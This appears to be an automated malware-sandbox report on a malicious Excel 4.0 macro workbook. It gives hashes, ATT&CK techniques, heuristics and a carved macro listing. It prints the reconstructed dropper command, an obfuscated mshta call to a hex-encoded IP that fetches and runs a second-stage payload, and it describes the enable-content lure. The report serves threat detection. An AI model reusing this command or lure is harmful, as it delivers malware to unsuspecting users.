Office (OLE) / .XLS malware analysis — malicious · 7923c3d983446226

MALICIOUS

Office (OLE) / .XLS

65.3 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel

MD5: b0cb078469a9669f78bb2ab5a4fc4595 SHA-1: 39b689ea759391be63dafe4a9623e79a47ce7d26 SHA-256: 7923c3d983446226f8782c1218be105c7316b6b77378f1e4f420e821ee8accfe

100 Risk Score

Malware Insights

MITRE ATT&CK

T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an Excel 97-2003 Workbook (OLE) containing Excel 4.0 macros. It uses a lure to prompt the user to enable editing and content, which is a common tactic for macro-based malware. The extracted Excel 4.0 macro defines a string that, when executed, constructs and runs a command to download a file from a hardcoded URL. The reconstructed command is 'cmd /c msh^t^a http://0xc12a24f5/c.html'. This indicates the macro's purpose is to download and execute a second-stage payload.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1073 bytes

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